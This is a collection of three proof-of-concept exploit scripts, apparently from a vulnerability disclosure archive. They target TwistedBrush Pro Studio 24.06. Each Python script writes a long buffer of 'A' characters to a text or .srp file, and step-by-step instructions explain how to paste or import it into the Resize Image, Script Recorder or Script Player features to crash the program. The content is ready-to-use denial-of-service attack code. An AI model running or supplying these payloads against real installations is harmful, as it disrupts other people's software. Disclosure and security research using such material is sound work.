# -*- coding: utf-8 -*- # Exploit Title: TwistedBrush Pro Studio 24.06 - 'Resize Image' Denial of Service (PoC) # Date: 13/05/2019 # Author: Alejandra Sánchez # Vendor Homepage: http://www.pixarra.com # Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe # Version: 24.06 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script "TwistedBrush _resize.py", it will create a new file "PoC.txt" # 2.- Copy the text from the generated PoC.txt file to clipboard # 3.- Open TwistedBrush Pro Studio # 4.- Go to 'Image' > 'Resize Image...' # 5.- Paste clipboard in the 'New Width/New Height' field # 6.- Click OK # 7.- Crashed buffer = "\x41" * 1000 f = open ("PoC.txt", "w") f.write(buffer) f.close() ------------- cut here ------------- # -*- coding: utf-8 -*- # Exploit Title: TwistedBrush Pro Studio 24.06 - 'Script Recorder' Denial of Service (PoC) # Date: 13/05/2019 # Author: Alejandra Sánchez # Vendor Homepage: http://www.pixarra.com # Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe # Version: 24.06 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script "TwistedBrush_recorder.py", it will create a new file "PoC.txt" # 2.- Copy the text from the generated PoC.txt file to clipboard # 3.- Open TwistedBrush Pro Studio # 4.- Go to 'Record' > 'Script Recorder...' # 5.- Paste clipboard in the 'Description' field # 6.- Click 'Brush' button # 7.- Crashed buffer = "\x41" * 500000 f = open ("PoC.txt", "w") f.write(buffer) f.close() ------------- cut here ------------- # -*- coding: utf-8 -*- # Exploit Title: TwistedBrush Pro Studio 24.06 - '.srp' Denial of Service (PoC) # Date: 13/05/2019 # Author: Alejandra Sánchez # Vendor Homepage: http://www.pixarra.com # Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe # Version: 24.06 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script "TwistedBrush_player.py", it will create a new file "sample.srp" # 2.- Open TwistedBrush Pro Studio # 3.- Go to 'Record' > 'Script Player...' # 4.- Click 'Import' button, select the 'sample.srp' file created and click 'Open' button # 5.- Crashed buffer = "\x41" * 500000 f = open ("sample.srp", "w") f.write(buffer) f.close()